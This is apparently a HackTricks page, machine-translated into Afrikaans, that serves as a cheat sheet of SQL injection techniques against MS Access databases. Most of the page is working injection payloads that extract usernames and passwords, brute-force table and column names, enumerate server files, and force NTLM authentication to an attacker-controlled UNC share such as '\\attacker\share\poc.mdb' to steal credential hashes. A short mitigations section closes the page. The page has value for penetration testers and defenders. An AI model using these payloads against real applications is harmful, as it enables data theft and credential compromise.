MS Access SQL Injection

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Aanlyn Speelgrond

DB Beperkings

String Samevoeging

String samevoeging is moontlik met & (%26) en + (%2b) karakters.

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Kommentaar

Daar is geen kommentaar in MS Access nie, maar dit blyk moontlik te wees om die laaste van 'n navraag met 'n NULL-karakter te verwyder:

sql
1' union select 1,2 from table%00

As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Gestapelde Vrae

Hulle word nie ondersteun nie.

BEPERK

Die LIMIT operator is nie geĂŻmplementeer nie. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die eerste N tabel rye met die TOP operator. TOP aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Net soos TOP kan jy LAST gebruik wat die rye van die einde sal kry.

UNION Vrae/Subvrae

In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in subvrae of ekstra vrae 'n FROM aangedui word.
So, as jy 'n UNION SELECT of UNION ALL SELECT of 'n SELECT tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd 'n FROM met 'n geldige tabelnaam aandui.
Daarom moet jy 'n geldige tabelnaam ken.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

Dit sal jou toelaat om waardes van die huidige tabel te exfiltreer sonder om die naam van die tabel te hoef te weet.

MS Access laat weird syntax toe soos '1'=2='3'='asd'=false. Soos gewoonlik sal die SQL-inspuiting binne 'n WHERE klousule wees en ons kan dit misbruik.

Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een kolomnaam username is, en dit is die veld wat jy wil exfiltreer. Jy kan die verskillende antwoorde van die webtoepassing nagaan wanneer die chaining equals tegniek gebruik word en moontlik inhoud exfiltreer met 'n boolean injection deur die Mid funksie te gebruik om substrings te verkry.

sql
'=(Mid(username,1,3)='adm')='

As jy die naam van die tabel en kolom weet om te dump, kan jy 'n kombinasie van Mid, LAST en TOP gebruik om alle inligting via boolean SQLi te lek:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing Tabel name

Met die kettinggelyktegniek kan jy ook bruteforce tabel name met iets soos:

sql
'=(select+top+1+'lala'+from+<table_name>)='

Jy kan ook 'n meer tradisionele manier gebruik:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel vry om dit in die aanlyn speelgrond te kontroleer.

Brute-Forcing Kolomname

Jy kan brute-force huidige kolomname met die ketting gelyk trick met:

sql
'=column_name='

Of met 'n group by:

sql
-1' GROUP BY column_name%00

Of jy kan die kolomname van 'n ander tabel brute-force met:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

Ons het reeds die chaining equals technique bespreek om data uit die huidige en ander tabelle te dump. Maar daar is ander maniere:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in die geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.

Tyd-gebaseerde (Blind) Trukies

Jet/ACE SQL self stel nie 'n inheemse SLEEP() of WAITFOR funksie bloot nie, so tradisionele tyd-gebaseerde blinde inspuitings is beperk. U kan egter steeds 'n meetbare vertraging inbring deur die enjin te dwing om toegang te verkry tot 'n netwerkbron wat stadig is of nie antwoord nie. Omdat die enjin sal probeer om die lĂȘer te open voordat dit die resultaat teruggee, weerspieĂ«l die HTTP-responstyd die rondreis latensie na die aanvaller-beheerde gasheer.

sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--

Wys die UNC-pad na:

  • 'n SMB-aandeel agter 'n hoĂ«-latensie skakel
  • 'n gasheer wat die TCP-handdruk na SYN-ACK laat val
  • 'n firewall sinkhole

Die ekstra sekondes wat deur die afstandsopsoek ingevoer word, kan gebruik word as 'n uit-band tyds-orakel vir booleaanse toestande (bv. kies 'n stadige pad slegs wanneer die ingespotte predikaat waar is). Microsoft dokumenteer die afstandsdatabasis gedrag en die geassosieerde registrasie-kill-switch in KB5002984. citeturn1search0

Ander Interessante funksies

  • Mid('admin',1,1) kry substring vanaf posisie 1 lengte 1 (beginposisie is 1)
  • LEN('1234') kry lengte van string
  • ASC('A') kry ascii-waarde van karakter
  • CHR(65) kry string van ascii-waarde
  • IIF(1=1,'a','b') as dan
  • COUNT(*) Tel aantal items

Tabels opnoem

Van hier kan jy 'n navraag sien om tabelname te kry:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

However, let op dat dit baie tipies is om SQL Injections te vind waar jy nie toegang het om die tabel MSysObjects te lees nie.

LĂȘerstelsel toegang

Web Wortel Gids Volle Pad

Die kennis van die web wortel absolute pad kan verdere aanvalle vergemaklik. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data uit 'n nie-bestaande databasis te kies.

http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access reageer met 'n foutboodskap wat die web gids se volle padnaam bevat.

LĂȘer Enumerasie

Die volgende aanvalsvector kan gebruik word om die bestaan van 'n lĂȘer op die afstand lĂȘerstelsel af te lei. As die gespesifiseerde lĂȘer bestaan, aktiveer MS Access 'n foutboodskap wat inlig dat die databasisformaat ongeldig is:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

'n Ander manier om lĂȘers te enumerate, bestaan uit die spesifisering van 'n databasis.tabel item. As die gespesifiseerde lĂȘer bestaan, vertoon MS Access 'n databasisformaat foutboodskap.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb LĂȘernaam Raai

Databasis lĂȘernaam (.mdb) kan afgelei word met die volgende navraag:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Waar name[i] 'n .mdb lĂȘernaam is en realTable 'n bestaande tabel binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lĂȘernaam en 'n geldige .mdb lĂȘernaam te onderskei.

Afstand Databasis Toegang & NTLM Kredensiaal Diefstal (2023)

Sedert Jet 4.0 kan elke navraag 'n tabel in 'n ander .mdb/.accdb lĂȘer verwys via die IN '<path>' klousule:

sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';

As gebruikersinvoer in die deel na IN (of in 'n JOIN 
 IN / OPENROWSET / OPENDATASOURCE oproep) gekonkateneer word, kan 'n aanvaller 'n UNC pad spesifiseer wat na 'n gasheer wys wat hulle beheer. Die enjin sal:

  1. probeer om oor SMB / HTTP te autentiseer om die afstanddatabasis te open;
  2. die web-bediener se NTLM akrediteer (gedwonge autentisering) lek;
  3. die afstandlĂȘer ontleed – 'n verkeerd geformateerde of kwaadwillige databasis kan Jet/ACE geheue-korrupsie foute aktiveer wat al verskeie kere reggestel is (bv. CVE-2021-28455).

Praktiese inspuitvoorbeeld:

sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -

Impact:

  • Uit-baan eksfiltrasie van Net-NTLMv2 hashes (bruikbaar vir relay of offline kraking).
  • PotensiĂ«le afstandkode-uitvoering as 'n nuwe Jet/ACE parser fout uitgebuit word.

Mitigations (aanbeveel selfs vir erfenis Classic ASP toepassings):

  • Voeg die registerwaarde AllowQueryRemoteTables = 0 by onder HKLM\Software\Microsoft\Jet\4.0\Engines (en onder die ekwivalente ACE pad). Dit dwing Jet/ACE om afstandspade wat met \\ begin te verwerp.
  • Blokkeer uitgaande SMB/WebDAV by die netwerkgrens.
  • Sanitize / parameterise enige deel van 'n navraag wat in 'n IN klousule mag eindig.

Die gedwonge-authentikasie vektor is in 2023 deur Check Point Research herbesoek, wat bewys dat dit steeds uitgebuit kan word op ten volle gepatchte Windows Server wanneer die register sleutel afwesig is. citeturn0search0

.mdb Wachtwoord Kraker

Access PassView is 'n gratis nut wat gebruik kan word om die hoofdatabasiswachtwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks